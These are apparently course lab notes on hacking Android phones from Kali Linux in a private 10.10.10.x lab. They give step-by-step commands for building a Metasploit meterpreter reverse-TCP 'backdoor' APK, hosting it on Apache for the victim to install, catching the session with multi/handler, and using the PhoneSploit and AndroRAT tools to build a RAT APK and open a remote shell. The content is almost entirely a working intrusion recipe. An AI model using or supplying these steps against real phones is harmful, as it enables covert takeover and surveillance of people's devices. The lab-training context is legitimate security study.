**Module 17: Hacking Mobile Platforms**

* Operating System: kali linux, Android
* Android mobile (ip: 10.10.10.14)\_
* Kali linux (ip: 10.10.10.13)
* **Hacking Android using Metasploit tool:**
* Tool: metasploit (for attack) || msfvenom (for creating payload)

**Steps:**

* Check the connectivity of android & Kali os by pinging android from kali
* Goto terminal > open msfvenom tool for creating payload
* Cmd “ sudo msfvenom -p android/meterpreter/reverse\_tcp - -platform android LHOST=10.10.10.13 LPORT=1111 -o /var/www/html/backdoor/android-1111.apk “
* Open new tab in terminal > start apache2.service “ sudo systemctl start apache2.service”
* Open new tab in terminal > open msfconsole tool “ sudo msfconsole”
* Cmd: use exploit/multi/handler > set payload android/meterpreter/reverse\_tcp >

Show options > set LHOST & LPORT > exploit

* In android, goto browser> browse (10.10.10.13/backdoor ) and download created apk > download and install apk
* In kali os, check the exploit status “ meterpreter session”
* Result is android hacked using metasploit.
* **Hacking android using Phonesploit tool:**

**Steps:**

* In kali os, goto browser > goto github > search Phone sploit and copy link > Git Clone and paste link
* Then ls > cd PhoneSploit-pro > ls > pip3 install -r requirements.txt
* Run “ python3 phonesploitpro.py”
* Hit yes > explore the tool.
* **Android hacking using Androrat tool:**

**Steps:**

* In kali os, goto browser > goto github > search androRAT > select high rating and open in new tab > copy link and git clone the link > ls > cd androRAT
* Sudo pip3 install -r requirements.txt > sudo python3 androRAT.py
* Create payload first , “ sudo python3 androRAT.py - - build -i 10.10.10.13 -p 6666 -o /var/www/html/Backdoor/rat-6666.apk”

(- - build for building payload , -i for listening host , -p for listening port , -o for saving output )

* In new tab of terminal > start apache service “sudo systemctl start apache2.service”
* In android, goto browser > browse (10.10.10.13/Backdoor ) and download rat-6666.apk > install apk
* In kali os, “ sudo python3 androRAT.py - - shell -i 10.10.10.13 -p 6666

// exploiting android from kali using - - shell

* Wait for “interpreter” session > run “help” command > explore the session

**Note:**

**Site to Check Android Application**

* ( <https://sisik.eu/apk-tool> ) > drop apk / select apk file to check